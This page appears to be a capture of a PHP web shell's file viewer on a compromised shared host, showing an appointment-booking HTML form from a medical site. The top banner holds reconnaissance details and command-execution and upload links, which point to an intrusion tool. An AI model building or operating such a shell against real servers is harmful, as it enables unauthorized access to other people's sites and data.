Server IP : 103.53.40.154 / Your IP : 18.117.158.10 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/nspgurukul.org/../shantamdiabetes.org/ajax-load/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<section class="no-bg"> <div class="container position-relative p-0 mt-90" style="max-width: 700px;"> <h3 class="bg-theme-colored p-15 mt-0 mb-0 text-white">Make an Appointment</h3> <div class="section-content bg-white p-30"> <div class="row"> <div class="col-md-12"> <!-- Booking Form Starts --> <!-- <p class="lead">Lorem ipsum dolor sit amet, consectetur elit.</p>--> <!-- Appointment Form --> <form id="popup_appointment_form" name="popup_appointment_form" class="" method="post" action="#"> <div class="row"> <div class="col-sm-12"> <div class="form-group mb-10"> <input name="form_name" class="form-control" type="text" required placeholder="Enter Name" aria-required="true"> </div> </div> <div class="col-sm-12"> <div class="form-group mb-10"> <input name="form_email" class="form-control required email" type="email" placeholder="Enter Email" aria-required="true"> </div> </div> <div class="col-sm-12"> <div class="form-group mb-10"> <input name="form_appontment_date" class="form-control required datetime-picker" type="text" placeholder="Appoinment Date & Time" aria-required="true"> </div> </div> </div> <div class="form-group mb-10"> <textarea id="form_message" name="form_message" class="form-control required" placeholder="Enter Message" rows="5" aria-required="true"></textarea> </div> <div class="form-group mb-0 mt-20"> <input id="form_botcheck" name="form_botcheck" class="form-control" type="hidden" value=""> <button type="submit" class="btn btn-dark btn-theme-colored" data-loading-text="Please wait...">Send Message</button> </div> </form> <!-- Appointment Form Validation--> <script type="text/javascript"> $("#popup_appointment_form").validate({ submitHandler: function(form) { var form_btn = $(form).find('button[type="submit"]'); var form_result_div = '#form-result'; $(form_result_div).remove(); form_btn.before('<div id="form-result" class="alert alert-success" role="alert" style="display: none;"></div>'); var form_btn_old_msg = form_btn.html(); form_btn.html(form_btn.prop('disabled', true).data("loading-text")); $(form).ajaxSubmit({ dataType: 'json', success: function(data) { if( data.status == 'true' ) { $(form).find('.form-control').val(''); } form_btn.prop('disabled', false).html(form_btn_old_msg); $(form_result_div).html(data.message).fadeIn('slow'); setTimeout(function(){ $(form_result_div).fadeOut('slow') }, 6000); } }); } }); THEMEMASCOT.initialize.TM_datePicker(); </script> </div> </div> </div> <button title="Close (Esc)" type="button" class="mfp-close font-36">×</button> </div> </section>